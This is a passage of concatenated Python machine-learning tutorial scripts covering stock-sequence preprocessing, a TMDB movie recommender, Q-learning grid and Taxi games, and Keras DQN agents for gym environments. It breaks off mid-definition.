scaler.fit_transform(np.expand_dims(df[column].values, axis=1)) column_scaler[column] = scaler # df[column] = preprocessing.scale(df[column].values) # add column scaler to the result result['column_scaler'] = column_scaler # add future price column ( shift by -1 ) df[target_column] = df[price_column].shift(-lookup_step) # get last feature elements ( to add them to the last sequence ) # before deleted by df.dropna last_feature_element = np.array(df[feature_columns].tail(1)) # clean NaN entries df.dropna(inplace=True) if buy_sell: # convert target column to 0 (for sell -down- ) and to 1 ( for buy -up-) df[target_column] = list(map(classify, df[price_column], df[target_column])) seq_data = [] # all sequences here # sequences are made with deque, which keeps the maximum length by popping out older values as new ones come in sequences = deque(maxlen=n_steps) for entry, target in zip(df[feature_columns].values, df[target_column].values): sequences.append(entry) if len(sequences) == n_steps: seq_data.append([np.array(sequences), target]) # get the last sequence for future predictions last_sequence = np.array(sequences) # shift the sequence, one element is missing ( deleted by dropna ) last_sequence = shift(last_sequence, -1) # fill the last element last_sequence[-1] = last_feature_element # add last sequence to results result['last_sequence'] = last_sequence if buy_sell and balance: buys, sells = [], [] for seq, target in seq_data: if target == 0: sells.append([seq, target]) else: buys.append([seq, target]) # balancing the dataset lower_length = min(len(buys), len(sells)) buys = buys[:lower_length] sells = sells[:lower_length] seq_data = buys + sells if shuffle: unshuffled_seq_data = seq_data.copy() # shuffle data random.shuffle(seq_data) X, y = [], [] for seq, target in seq_data: X.append(seq) y.append(target) X = np.array(X) y = np.array(y) if shuffle: unshuffled_X, unshuffled_y = [], [] for seq, target in unshuffled_seq_data: unshuffled_X.append(seq) unshuffled_y.append(target) unshuffled_X = np.array(unshuffled_X) unshuffled_y = np.array(unshuffled_y) unshuffled_X = unshuffled_X.reshape((unshuffled_X.shape[0], unshuffled_X.shape[2], unshuffled_X.shape[1])) X = X.reshape((X.shape[0], X.shape[2], X.shape[1])) if not split: # return original_df, X, y, column_scaler, last_sequence result['X'] = X result['y'] = y return result else: # split dataset into training and testing n_samples = X.shape[0] train_samples = int(n_samples * (1 - test_size)) result['X_train'] = X[:train_samples] result['X_test'] = X[train_samples:] result['y_train'] = y[:train_samples] result['y_test'] = y[train_samples:] if shuffle: result['unshuffled_X_test'] = unshuffled_X[train_samples:] result['unshuffled_y_test'] = unshuffled_y[train_samples:] return result # from sentdex def classify(current, future): if float(future) > float(current): # if the future price is higher than the current, that's a buy, or a 1 return 1 else: # otherwise... it's a 0! return 0 def shift(arr, num, fill_value=np.nan): result = np.empty_like(arr) if num > 0: result[:num] = fill_value result[num:] = arr[:-num] elif num < 0: result[num:] = fill_value result[:num] = arr[-num:] else: result = arr return result import pandas as pd import numpy as np import matplotlib.pyplot as plt import seaborn as sns from sklearn.feature_extraction.text import TfidfVectorizer movies_path = r"E:\datasets\recommender_systems\tmdb_5000_movies.csv" credits_path = r"E:\datasets\recommender_systems\tmdb_5000_credits.csv" credits = pd.read_csv(credits_path) movies = pd.read_csv(movies_path) # rename movie_id to id to merge dataframes later credits = credits.rename(index=str, columns={'movie_id': 'id'}) # join on movie id column movies = movies.merge(credits, on="id") # drop useless columns movies = movies.drop(columns=['homepage', 'title_x', 'title_y', 'status', 'production_countries']) # number of votes of the movie V = movies['vote_count'] # rating average of the movie from 0 to 10 R = movies['vote_average'] # the mean vote across the whole report C = movies['vote_average'].mean() # minimum votes required to be listed in the top 250 m = movies['vote_count'].quantile(0.7) movies['weighted_average'] = (V/(V+m) * R) + (m/(m+V) * C) # ranked movies wavg = movies.sort_values('weighted_average', ascending=False) plt.figure(figsize=(16,6)) ax = sns.barplot(x=wavg['weighted_average'].head(10), y=wavg['original_title'].head(10), data=wavg, palette='deep') plt.xlim(6.75, 8.35) plt.title('"Best" Movies by TMDB Votes', weight='bold') plt.xlabel('Weighted Average Score', weight='bold') plt.ylabel('Movie Title', weight='bold') plt.savefig('best_movies.png') popular = movies.sort_values('popularity', ascending=False) plt.figure(figsize=(16,6)) ax = sns.barplot(x=popular['popularity'].head(10), y=popular['original_title'].head(10), data=popular, palette='deep') plt.title('"Most Popular" Movies by TMDB Votes', weight='bold') plt.xlabel('Popularity Score', weight='bold') plt.ylabel('Movie Title', weight='bold') plt.savefig('popular_movies.png') ############ Content-Based ############ # filling NaNs with empty string movies['overview'] = movies['overview'].fillna('') tfv = TfidfVectorizer(min_df=3, max_features=None, strip_accents='unicode', analyzer='word',token_pattern=r'\w{1,}', ngram_range=(1, 3), use_idf=1,smooth_idf=1,sublinear_tf=1, stop_words = 'english') tfv_matrix = tfv.fit_transform(movies['overview']) print(tfv_matrix.shape) print(tfv_matrix) import numpy as np from PIL import Image import cv2 # showing the env import matplotlib.pyplot as plt import pickle from matplotlib import style import time import os from collections.abc import Iterable style.use("ggplot") GRID_SIZE = 10 # how many episodes EPISODES = 1_000 # how many steps in the env STEPS = 200 # Rewards for differents events MOVE_REWARD = -1 ENEMY_REWARD = -300 FOOD_REWARD = 30 epsilon = 0 # for randomness, it'll decay over time by EPSILON_DECAY EPSILON_DECAY = 0.999993 # every episode, epsilon *= EPSILON_DECAY SHOW_EVERY = 1 q_table = f"qtable-grid-{GRID_SIZE}-steps-{STEPS}.npy" # put here pretrained model ( if exists ) LEARNING_RATE = 0.1 DISCOUNT = 0.95 PLAYER_CODE = 1 FOOD_CODE = 2 ENEMY_CODE = 3 # blob dict, for colors COLORS = { PLAYER_CODE: (255, 120, 0), # blueish color FOOD_CODE: (0, 255, 0), # green ENEMY_CODE: (0, 0, 255), # red } ACTIONS = { 0: (0, 1), 1: (-1, 0), 2: (0, -1), 3: (1, 0) } N_ENEMIES = 2 def get_observation(cords): obs = [] for item1 in cords: for item2 in item1: obs.append(item2+GRID_SIZE-1) return tuple(obs) class Blob: def __init__(self, name=None): self.x = np.random.randint(0, GRID_SIZE) self.y = np.random.randint(0, GRID_SIZE) self.name = name if name else "Blob" def __sub__(self, other): return (self.x - other.x, self.y - other.y) def __str__(self): return f"<{self.name.capitalize()} x={self.x}, y={self.y}>" def move(self, x=None, y=None): # if x is None, move randomly if x is None: self.x += np.random.randint(-1, 2) else: self.x += x # if y is None, move randomly if y is None: self.y += np.random.randint(-1, 2) else: self.y += y # out of bound fix if self.x < 0: # self.x = GRID_SIZE-1 self.x = 0 elif self.x > GRID_SIZE-1: # self.x = 0 self.x = GRID_SIZE-1 if self.y < 0: # self.y = GRID_SIZE-1 self.y = 0 elif self.y > GRID_SIZE-1: # self.y = 0 self.y = GRID_SIZE-1 def take_action(self, choice): # if choice == 0: # self.move(x=1, y=1) # elif choice == 1: # self.move(x=-1, y=-1) # elif choice == 2: # self.move(x=-1, y=1) # elif choice == 3: # self.move(x=1, y=-1) for code, (move_x, move_y) in ACTIONS.items(): if choice == code: self.move(x=move_x, y=move_y) # if choice == 0: # self.move(x=1, y=0) # elif choice == 1: # self.move(x=0, y=1) # elif choice == 2: # self.move(x=-1, y=0) # elif choice == 3: # self.move(x=0, y=-1) # construct the q_table if not already trained if q_table is None or not os.path.isfile(q_table): # q_table = {} # # for every possible combination of the distance of the player # # to both the food and the enemy # for i in range(-GRID_SIZE+1, GRID_SIZE): # for ii in range(-GRID_SIZE+1, GRID_SIZE): # for iii in range(-GRID_SIZE+1, GRID_SIZE): # for iiii in range(-GRID_SIZE+1, GRID_SIZE): # q_table[(i, ii), (iii, iiii)] = np.random.uniform(-5, 0, size=len(ACTIONS)) q_table = np.random.uniform(-5, 0, size=[GRID_SIZE*2-1]*(2+2*N_ENEMIES) + [len(ACTIONS)]) else: # the q table already exists print("Loading Q-table") q_table = np.load(q_table) # this list for tracking rewards episode_rewards = [] # game loop for episode in range(EPISODES): # initialize our blobs ( squares ) player = Blob("Player") food = Blob("Food") enemy1 = Blob("Enemy1") enemy2 = Blob("Enemy2") if episode % SHOW_EVERY == 0: print(f"[{episode:05}] ep: {epsilon:.4f} reward mean: {np.mean(episode_rewards[-SHOW_EVERY:])} alpha={LEARNING_RATE}") show = True else: show = False episode_reward = 0 for i in range(STEPS): # get the observation obs = get_observation((player - food, player - enemy1, player - enemy2)) # Epsilon-greedy policy if np.random.random() > epsilon: # get the action from the q table action = np.argmax(q_table[obs]) else: # random action action = np.random.randint(0, len(ACTIONS)) # take the action player.take_action(action) #### MAYBE ### #enemy.move() #food.move() ############## food.move() enemy1.move() enemy2.move() ### for rewarding if player.x == enemy1.x and player.y == enemy1.y: # if it hit the enemy, punish reward = ENEMY_REWARD elif player.x == enemy2.x and player.y == enemy2.y: # if it hit the enemy, punish reward = ENEMY_REWARD elif player.x == food.x and player.y == food.y: # if it hit the food, reward reward = FOOD_REWARD else: # else, punish it a little for moving reward = MOVE_REWARD ### calculate the Q # get the future observation after taking action future_obs = get_observation((player - food, player - enemy1, player - enemy2)) # get the max future Q value (SarsaMax algorithm) # SARSA = State0, Action0, Reward0, State1, Action1 max_future_q = np.max(q_table[future_obs]) # get the current Q current_q = q_table[obs][action] # calculate the new Q if reward == FOOD_REWARD: new_q = FOOD_REWARD else: # value iteration update # https://en.wikipedia.org/wiki/Q-learning # Calculate the Temporal-Difference target td_target = reward + DISCOUNT * max_future_q # Temporal-Difference new_q = (1 - LEARNING_RATE) * current_q + LEARNING_RATE * td_target # update the q q_table[obs][action] = new_q if show: env = np.zeros((GRID_SIZE, GRID_SIZE, 3), dtype=np.uint8) # set food blob to green env[food.x][food.y] = COLORS[FOOD_CODE] # set the enemy blob to red env[enemy1.x][enemy1.y] = COLORS[ENEMY_CODE] env[enemy2.x][enemy2.y] = COLORS[ENEMY_CODE] # set the player blob to blueish env[player.x][player.y] = COLORS[PLAYER_CODE] # get the image image = Image.fromarray(env, 'RGB') image = image.resize((600, 600)) # show the image cv2.imshow("image", np.array(image)) if reward == FOOD_REWARD or reward == ENEMY_REWARD: if cv2.waitKey(500) == ord('q'): break else: if cv2.waitKey(100) == ord('q'): break episode_reward += reward if reward == FOOD_REWARD or reward == ENEMY_REWARD: break episode_rewards.append(episode_reward) # decay a little randomness in each episode epsilon *= EPSILON_DECAY # with open(f"qtable-{int(time.time())}.pickle", "wb") as f: # pickle.dump(q_table, f) np.save(f"qtable-grid-{GRID_SIZE}-steps-{STEPS}", q_table) moving_avg = np.convolve(episode_rewards, np.ones((SHOW_EVERY,))/SHOW_EVERY, mode='valid') plt.plot([i for i in range(len(moving_avg))], moving_avg) plt.ylabel(f"Avg Reward every {SHOW_EVERY}") plt.xlabel("Episode") plt.show() import numpy as np import gym import random import matplotlib.pyplot as plt import os import time env = gym.make("Taxi-v2").env # init the Q-Table # (500x6) matrix (n_states x n_actions) q_table = np.zeros((env.observation_space.n, env.action_space.n)) # Hyper Parameters # alpha LEARNING_RATE = 0.1 # gamma DISCOUNT_RATE = 0.9 EPSILON = 0.9 EPSILON_DECAY = 0.99993 EPISODES = 100_000 SHOW_EVERY = 1_000 # for plotting metrics all_epochs = [] all_penalties = [] all_rewards = [] for i in range(EPISODES): # reset the env state = env.reset() epochs, penalties, rewards = 0, 0, [] done = False while not done: if random.random() < EPSILON: # exploration action = env.action_space.sample() else: # exploitation action = np.argmax(q_table[state]) next_state, reward, done, info = env.step(action) old_q = q_table[state, action] future_q = np.max(q_table[next_state]) # calculate the new Q ( Q-Learning equation, i.e SARSAMAX ) new_q = (1 - LEARNING_RATE) * old_q + LEARNING_RATE * ( reward + DISCOUNT_RATE * future_q) # update the new Q q_table[state, action] = new_q if reward == -10: penalties += 1 state = next_state epochs += 1 rewards.append(reward) if i % SHOW_EVERY == 0: print(f"[{i}] avg reward:{np.average(all_rewards):.4f} eps:{EPSILON:.4f}") # env.render() all_epochs.append(epochs) all_penalties.append(penalties) all_rewards.append(np.average(rewards)) EPSILON *= EPSILON_DECAY # env.render() # plt.plot(list(range(len(all_rewards))), all_rewards) # plt.show() print("Playing in 5 seconds...") time.sleep(5) os.system("cls") if "nt" in os.name else os.system("clear") # render state = env.reset() done = False while not done: action = np.argmax(q_table[state]) state, reward, done, info = env.step(action) env.render() time.sleep(0.2) os.system("cls") if "nt" in os.name else os.system("clear") env.render() import cv2 from PIL import Image import os # to use CPU uncomment below code # os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 # os.environ["CUDA_VISIBLE_DEVICES"] = "-1" # import tensorflow as tf # config = tf.ConfigProto(intra_op_parallelism_threads=5, # inter_op_parallelism_threads=5, # allow_soft_placement=True, # device_count = {'CPU' : 1, # 'GPU' : 0} # ) import random import gym import numpy as np import matplotlib.pyplot as plt from collections import deque from keras.models import Sequential from keras.layers import Dense, Conv2D, MaxPooling2D, Dropout, Activation, Flatten from keras.optimizers import Adam EPISODES = 5_000 REPLAY_MEMORY_MAX = 20_000 MIN_REPLAY_MEMORY = 1_000 SHOW_EVERY = 50 RENDER_EVERY = 100 LEARN_EVERY = 50 GRID_SIZE = 20 ACTION_SIZE = 9 class Blob: def __init__(self, size): self.size = size self.x = np.random.randint(0, size) self.y = np.random.randint(0, size) def __str__(self): return f"Blob ({self.x}, {self.y})" def __sub__(self, other): return (self.x-other.x, self.y-other.y) def __eq__(self, other): return self.x == other.x and self.y == other.y def action(self, choice): ''' Gives us 9 total movement options. (0,1,2,3,4,5,6,7,8) ''' if choice == 0: self.move(x=1, y=1) elif choice == 1: self.move(x=-1, y=-1) elif choice == 2: self.move(x=-1, y=1) elif choice == 3: self.move(x=1, y=-1) elif choice == 4: self.move(x=1, y=0) elif choice == 5: self.move(x=-1, y=0) elif choice == 6: self.move(x=0, y=1) elif choice == 7: self.move(x=0, y=-1) elif choice == 8: self.move(x=0, y=0) def move(self, x=False, y=False): # If no value for x, move randomly if not x: self.x += np.random.randint(-1, 2) else: self.x += x # If no value for y, move randomly if not y: self.y += np.random.randint(-1, 2) else: self.y += y # If we are out of bounds, fix! if self.x < 0: self.x = 0 elif self.x > self.size-1: self.x = self.size-1 if self.y < 0: self.y = 0 elif self.y > self.size-1: self.y = self.size-1 class BlobEnv: RETURN_IMAGES = True MOVE_PENALTY = 1 ENEMY_PENALTY = 300 FOOD_REWARD = 25 ACTION_SPACE_SIZE = 9 PLAYER_N = 1 # player key in dict FOOD_N = 2 # food key in dict ENEMY_N = 3 # enemy key in dict # the dict! (colors) d = {1: (255, 175, 0), 2: (0, 255, 0), 3: (0, 0, 255)} def __init__(self, size): self.SIZE = size self.OBSERVATION_SPACE_VALUES = (self.SIZE, self.SIZE, 3) # 4 def reset(self): self.player = Blob(self.SIZE) self.food = Blob(self.SIZE) while self.food == self.player: self.food = Blob(self.SIZE) self.enemy = Blob(self.SIZE) while self.enemy == self.player or self.enemy == self.food: self.enemy = Blob(self.SIZE) self.episode_step = 0 if self.RETURN_IMAGES: observation = np.array(self.get_image()) else: observation = (self.player-self.food) + (self.player-self.enemy) return observation def step(self, action): self.episode_step += 1 self.player.action(action) #### MAYBE ### #enemy.move() #food.move() ############## if self.RETURN_IMAGES: new_observation = np.array(self.get_image()) else: new_observation = (self.player-self.food) + (self.player-self.enemy) if self.player == self.enemy: reward = -self.ENEMY_PENALTY done = True elif self.player == self.food: reward = self.FOOD_REWARD done = True else: reward = -self.MOVE_PENALTY if self.episode_step < 200: done = False else: done = True return new_observation, reward, done def render(self): img = self.get_image() img = img.resize((300, 300)) # resizing so we can see our agent in all its glory. cv2.imshow("image", np.array(img)) # show it! cv2.waitKey(1) # FOR CNN # def get_image(self): env = np.zeros((self.SIZE, self.SIZE, 3), dtype=np.uint8) # starts an rbg of our size env[self.food.x][self.food.y] = self.d[self.FOOD_N] # sets the food location tile to green color env[self.enemy.x][self.enemy.y] = self.d[self.ENEMY_N] # sets the enemy location to red env[self.player.x][self.player.y] = self.d[self.PLAYER_N] # sets the player tile to blue img = Image.fromarray(env, 'RGB') # reading to rgb. Apparently. Even tho color definitions are bgr. ??? return img class DQNAgent: def __init__(self, state_size, action_size): self.state_size = state_size self.action_size = action_size self.memory = deque(maxlen=REPLAY_MEMORY_MAX) # discount rate self.gamma = 0.95 # exploration rate self.epsilon = 1.0 self.epsilon_min = 0.01 self.epsilon_decay = 0.9997 self.learning_rate = 0.001 # models to be built # Dual self.model = self.build_model() self.target_model = self.build_model() self.update_target_model() def build_model(self): """Builds the DQN Model""" # Neural network for Deep-Q Learning Model model = Sequential() model.add(Conv2D(256, (3, 3), input_shape=self.state_size)) model.add(Activation("relu")) model.add(MaxPooling2D(pool_size=(2, 2))) model.add(Dropout(0.2)) model.add(Conv2D(256, (3, 3))) model.add(Activation("relu")) model.add(MaxPooling2D(pool_size=(2, 2))) model.add(Dropout(0.2)) model.add(Flatten()) # this converts our 3D feature maps to 1D feature vectors model.add(Dense(32)) # output layer model.add(Dense(self.action_size, activation="linear")) model.compile(loss="mse", optimizer=Adam(lr=self.learning_rate)) return model def update_target_model(self): """Copy weights from self.model to self.target_model""" self.target_model.set_weights(self.model.get_weights()) def remember(self, state, action, reward, next_state, done): """Adds a sample to the memory""" # for images, expand dimension, comment if you are not using images as states state = state / 255 next_state = next_state / 255 state = np.expand_dims(state, axis=0) next_state = np.expand_dims(next_state, axis=0) self.memory.append((state, action, reward, next_state, done)) def act(self, state): """Takes action using Epsilon-Greedy Policy""" if np.random.random() <= self.epsilon: return random.randint(0, self.action_size-1) else: state = state / 255 state = np.expand_dims(state, axis=0) act_values = self.model.predict(state) # print("act_values:", act_values.shape) return np.argmax(act_values[0]) def replay(self, batch_size): """Train on a replay memory with a batch_size of samples""" if len(self.memory) < MIN_REPLAY_MEMORY: return minibatch = random.sample(self.memory, batch_size) for state, action, reward, next_state, done in minibatch: target = reward if not done: target = ( reward + self.gamma * np.max(self.target_model.predict(next_state)[0]) ) target_f = self.model.predict(state) target_f[0][action] = target self.model.fit(state, target_f, epochs=1, verbose=0, batch_size=1) # decay epsilon if possible self.epsilon = max(self.epsilon * self.epsilon_decay, self.epsilon_min) def load(self, name): self.model.load_weights(name) self.target_model.load_weights(name) def save(self, name): self.model.save_weights(name) self.target_model.save_weights(name) if __name__ == "__main__": batch_size = 64 env = BlobEnv(GRID_SIZE) agent = DQNAgent(env.OBSERVATION_SPACE_VALUES, ACTION_SIZE) ep_rewards = deque([-200], maxlen=SHOW_EVERY) avg_rewards = [] min_rewards = [] max_rewards = [] for episode in range(1, EPISODES+1): # restarting episode => reset episode reward and step number episode_reward = 0 step = 1 # reset env and get init state current_state = env.reset() done = False while True: # take action action = agent.act(current_state) next_state, reward, done = env.step(action) episode_reward += reward if episode % RENDER_EVERY == 0: env.render() # add transition to agent's memory agent.remember(current_state, action, reward, next_state, done) if step % LEARN_EVERY == 0: agent.replay(batch_size=batch_size) current_state = next_state step += 1 if done: agent.update_target_model() break ep_rewards.append(episode_reward) avg_reward = np.mean(ep_rewards) min_reward = min(ep_rewards) max_reward = max(ep_rewards) avg_rewards.append(avg_reward) min_rewards.append(min_reward) max_rewards.append(max_reward) print(f"[{episode}] avg:{avg_reward:.2f} min:{min_reward} max:{max_reward} eps:{agent.epsilon:.4f}") # if episode % SHOW_EVERY == 0: # print(f"[{episode}] avg: {avg_reward} min: {min_reward} max: {max_reward} eps: {agent.epsilon:.4f}") episodes = list(range(EPISODES)) plt.plot(episodes, avg_rewards, c='b') plt.plot(episodes, min_rewards, c='r') plt.plot(episodes, max_rewards, c='g') plt.show() agent.save("blob_v1.h5") import os # to use CPU uncomment below code os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 os.environ["CUDA_VISIBLE_DEVICES"] = "-1" import tensorflow as tf config = tf.ConfigProto(intra_op_parallelism_threads=5, inter_op_parallelism_threads=5, allow_soft_placement=True, device_count = {'CPU' : 1, 'GPU' : 0} ) import random import gym import numpy as np import matplotlib.pyplot as plt from collections import deque from keras.models import Sequential from keras.layers import Dense from keras.optimizers import Adam EPISODES = 5_000 REPLAY_MEMORY_MAX = 2_000 SHOW_EVERY = 500 RENDER_EVERY = 1_000 class DQNAgent: def __init__(self, state_size, action_size): self.state_size = state_size self.action_size = action_size self.memory = deque(maxlen=REPLAY_MEMORY_MAX) # discount rate self.gamma = 0.95 # exploration rate self.epsilon = 1.0 self.epsilon_min = 0.01 self.epsilon_decay = 0.9997 self.learning_rate = 0.001 # models to be built # Dual self.model = self.build_model() self.target_model = self.build_model() self.update_target_model() def build_model(self): """Builds the DQN Model""" # Neural network for Deep-Q Learning Model model = Sequential() model.add(Dense(32, input_dim=self.state_size, activation="relu")) model.add(Dense(32, activation="relu")) # output layer model.add(Dense(self.action_size, activation="linear")) model.compile(loss="mse", optimizer=Adam(lr=self.learning_rate)) return model def update_target_model(self): """Copy weights from self.model to self.target_model""" self.target_model.set_weights(self.model.get_weights()) def remember(self, state, action, reward, next_state, done): """Adds a sample to the memory""" self.memory.append((state, action, reward, next_state, done)) def act(self, state): """Takes action using Epsilon-Greedy Policy""" if np.random.random() <= self.epsilon: return random.randint(0, self.action_size-1) else: act_values = self.model.predict(state) # print("act_values:", act_values.shape) return np.argmax(act_values[0]) def replay(self, batch_size): """Train on a replay memory with a batch_size of samples""" minibatch = random.sample(self.memory, batch_size) for state, action, reward, next_state, done in minibatch: target = reward if not done: target = ( reward + self.gamma * np.max(self.target_model.predict(next_state)[0]) ) target_f = self.model.predict(state) target_f[0][action] = target self.model.fit(state, target_f, epochs=1, verbose=0) # decay epsilon if possible self.epsilon = max(self.epsilon * self.epsilon_decay, self.epsilon_min) def load(self, name): self.model.load_weights(name) self.target_model.load_weights(name) def save(self, name): self.model.save_weights(name) self.target_model.save_weights(name) if __name__ == "__main__": env = gym.make("Acrobot-v1") state_size = env.observation_space.shape[0] action_size = env.action_space.n agent = DQNAgent(state_size=state_size, action_size=action_size) # agent.load("AcroBot_v1.h5") done = False batch_size = 32 all_rewards = deque(maxlen=SHOW_EVERY) avg_rewards = [] for e in range(EPISODES): state = env.reset() state = np.reshape(state, (1, state_size)) rewards = 0 while True: action = agent.act(state) # print(action) next_state, reward, done, info = env.step(action) # punish if not yet finished # reward = reward if not done else 10 next_state = np.reshape(next_state, (1, state_size)) agent.remember(state, action, reward, next_state, done) state = next_state if done: agent.update_target_model() break if e % RENDER_EVERY == 0: env.render() rewards += reward # print(rewards) all_rewards.append(rewards) avg_reward = np.mean(all_rewards) avg_rewards.append(avg_reward) if e % SHOW_EVERY == 0: print(f"[{e:4}] avg reward:{avg_reward:.3f} eps: {agent.epsilon:.2f}") if len(agent.memory) > batch_size: agent.replay(batch_size) agent.save("AcroBot_v1.h5") plt.plot(list(range(EPISODES)), avg_rewards) plt.show() import os # to use CPU uncomment below code os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 os.environ["CUDA_VISIBLE_DEVICES"] = "-1" import tensorflow as tf config = tf.ConfigProto(intra_op_parallelism_threads=5, inter_op_parallelism_threads=5, allow_soft_placement=True, device_count = {'CPU' : 1, 'GPU' : 0} ) import random import gym import numpy as np import matplotlib.pyplot as plt from collections import deque from keras.models import Sequential from keras.layers import Dense from keras.optimizers import Adam EPISODES = 1000 REPLAY_MEMORY_MAX = 5000 SHOW_EVERY = 100 class DQNAgent: def __init__(self, state_size, action_size): self.state_size = state_size self.action_size = action_size self.memory = deque(maxlen=REPLAY_MEMORY_MAX) # discount rate self.gamma = 0.95 # exploration rate self.epsilon = 1.0 self.epsilon_min = 0.01 self.epsilon_decay = 0.995 self.learning_rate = 0.001 # model to be built self.model = None self.build_model() def build_model(self): """Builds the DQN Model""" # Neural network for Deep-Q Learning Model model = Sequential() model.add(Dense(24, input_dim=self.state_size, activation="relu")) model.add(Dense(24, activation="relu")) # output layer model.add(Dense(self.action_size, activation="linear")) model.compile(loss="mse", optimizer=Adam(lr=self.learning_rate)) self.model = model def remember(self, state, action, reward, next_state, done): """Adds a sample to the memory""" self.memory.append((state, action, reward, next_state, done)) def act(self, state): """Takes action using Epsilon-Greedy Policy""" if np.random.random() <= self.epsilon: return random.randint(0, self.action_size-1) else: act_values = self.model.predict(state) # print("act_values:", act_values.shape) return np.argmax(act_values[0]) def replay(self, batch_size): """Train on a replay memory with a batch_size of samples""" minibatch = random.sample(self.memory, batch_size) for state, action, reward, next_state, done in minibatch: target = reward if not done: target = ( reward + self.gamma * np.max(self.model.predict(next_state)[0]) ) target_f = self.model.predict(state) target_f[0][action] = target self.model.fit(state, target_f, epochs=1, verbose=0) # decay epsilon if possible self.epsilon = max(self.epsilon * self.epsilon_decay, self.epsilon_min) def load(self, name): self.model.load_weights(name) def save(self, name): self.model.save_weights(name) if __name__ == "__main__": env = gym.make("CartPole-v1") state_size = env.observation_space.shape[0] action_size = env.action_space.n agent = DQNAgent(state_size=state_size, action_size=action_size) done = False batch_size = 32 scores = [] avg_scores = [] avg_score = 0 for e in range(EPISODES): state = env.reset() state = np.reshape(state, (1, state_size)) for t in range(500): action = agent.act(state) # print(action) next_state, reward, done, info = env.step(action) # punish if not yet finished reward = reward if not done else -10 next_state = np.reshape(next_state, (1, state_size)) agent.remember(state, action, reward, next_state, done) state = next_state if done: print(f"[{e:4}] avg score:{avg_score:.3f} eps: {agent.epsilon:.2f}") break if e % SHOW_EVERY == 0: env.render() if len(agent.memory) > batch_size: agent.replay(batch_size) scores.append(t) avg_score = np.average(scores) avg_scores.append(avg_score) agent.save("v1.h5") plt.plot(list(range(EPISODES)), avg_scores) plt.show() import numpy as np import keras.backend.tensorflow_backend as backend from keras.models import Sequential from keras.layers import Dense, Dropout, Conv2D, MaxPooling2D, Activation, Flatten, LSTM from keras.optimizers import Adam from keras.callbacks import TensorBoard import tensorflow as tf from collections import deque import time import random from tqdm import tqdm import os from PIL import Image import cv2 import itertools DISCOUNT = 0.96 REPLAY_MEMORY_SIZE = 50_000 # How many last steps to keep for model training MIN_REPLAY_MEMORY_SIZE = 1_000 # Minimum number of steps in a memory to start training MINIBATCH_SIZE = 32 # How many steps (samples) to use for training UPDATE_TARGET_EVERY = 5 # Terminal states (end of episodes) MODEL_NAME = '3x128-LSTM-7enemies-' MIN_REWARD = -200 # For model save MEMORY_FRACTION = 0.20 # Environment settings EPISODES = 50_000 # Exploration settings epsilon = 1.0 # not a constant, going to be decayed EPSILON_DECAY = 0.999771 MIN_EPSILON = 0.01 # Stats settings AGGREGATE_STATS_EVERY = 100 # episodes SHOW_PREVIEW = False class Blob: def __init__(self, size): self.size = size self.x = np.random.randint(0, size) self.y = np.random.randint(0, size) def __str__(self): return f"Blob ({self.x}, {self.y})" def __sub__(self, other): return (self.x-other.x, self.y-other.y) def __eq__(self, other): return self.x == other.x and self.y == other.y def action(self, choice): ''' Gives us 9 total movement options. (0,1,2,3,4,5,6,7,8) ''' if choice == 0: self.move(x=1, y=0) elif choice == 1: self.move(x=-1, y=0) elif choice == 2: self.move(x=0, y=1) elif choice == 3: self.move(x=0, y=-1) def move(self, x=False, y=False): # If no value for x, move randomly if x is False: self.x += np.random.randint(-1, 2) else: self.x += x # If no value for y, move randomly if y is False: self.y += np.random.randint(-1, 2) else: self.y += y # If we are out of bounds, fix! if self.x < 0: self.x = 0 elif self.x > self.size-1: self.x = self.size-1 if self.y < 0: self.y = 0 elif self.y > self.size-1: self.y = self.size-1 class BlobEnv: SIZE = 20 RETURN_IMAGES = False MOVE_PENALTY = 1 ENEMY_PENALTY = 300 FOOD_REWARD = 25 # if RETURN_IMAGES: # OBSERVATION_SPACE_VALUES = (SIZE, SIZE, 3) # 4 # else: # OBSERVATION_SPACE_VALUES = (4,) ACTION_SPACE_SIZE = 4 PLAYER_N = 1 # player key in dict FOOD_N = 2 # food key in dict ENEMY_N = 3 # enemy key in dict # the dict! (colors) d = {1: (255, 175, 0), 2: (0, 255, 0), 3: (0, 0, 255)} def __init__(self, n_enemies=7): self.n_enemies = n_enemies self.n_states = len(self.reset()) def reset(self): self.enemies = [] self.player = Blob(self.SIZE) self.food = Blob(self.SIZE) while self.food == self.player: self.food = Blob(self.SIZE) for i in range(self.n_enemies): enemy = Blob(self.SIZE) while enemy == self.player or enemy == self.food: enemy = Blob(self.SIZE) self.enemies.append(enemy) self.episode_step = 0 if self.RETURN_IMAGES: observation = np.array(self.get_image()) else: # all blob's coordinates observation = [self.player.x, self.player.y, self.food.x, self.food.y] + list(itertools.chain(*[[e.x, e.y] for e in self.enemies])) return observation def step(self, action): self.episode_step += 1 self.player.action(action) #### MAYBE ### #enemy.move() #food.move() ############## if self.RETURN_IMAGES: new_observation = np.array(self.get_image()) else: new_observation = [self.player.x, self.player.y, self.food.x, self.food.y] + list(itertools.chain(*[[e.x, e.y] for e in self.enemies])) # set the reward to move penalty by default reward = -self.MOVE_PENALTY if self.player == self.food: # if the player hits the food, good reward reward = self.FOOD_REWARD else: for enemy in self.enemies: if enemy == self.player: # if the player hits one of the enemies, heavy punishment reward = -self.ENEMY_PENALTY break done = False if reward == self.FOOD_REWARD or reward == -self.ENEMY_PENALTY or self.episode_step >= 200: done = True return new_observation, reward, done def render(self): img = self.get_image() img = img.resize((300, 300)) # resizing so we can see our agent in all its glory. cv2.imshow("image", np.array(img)) # show it! cv2.waitKey(1) # FOR CNN # def get_image(self): env = np.zeros((self.SIZE, self.SIZE, 3), dtype=np.uint8) # starts an rbg of our size env[self.food.x][self.food.y] = self.d[self.FOOD_N] # sets the food location tile to green color for enemy in self.enemies: env[enemy.x][enemy.y] = self.d[ENEMY_N] # sets the enemy location to red env[self.player.x][self.player.y] = self.d[self.PLAYER_N] # sets the player tile to blue img = Image.fromarray(env, 'RGB') # reading to rgb. Apparently. Even tho color definitions are bgr. ??? return img env = BlobEnv() # For stats ep_rewards = [-200] # For more repetitive results random.seed(1) np.random.seed(1) tf.set_random_seed(1) # Memory fraction, used mostly when trai8ning multiple agents #gpu_options = tf.GPUOptions(per_process_gpu_memory_fraction=MEMORY_FRACTION) #backend.set_session(tf.Session(config=tf.ConfigProto(gpu_options=gpu_options))) # Create models folder if not os.path.isdir('models'): os.makedirs('models') # Own Tensorboard class class 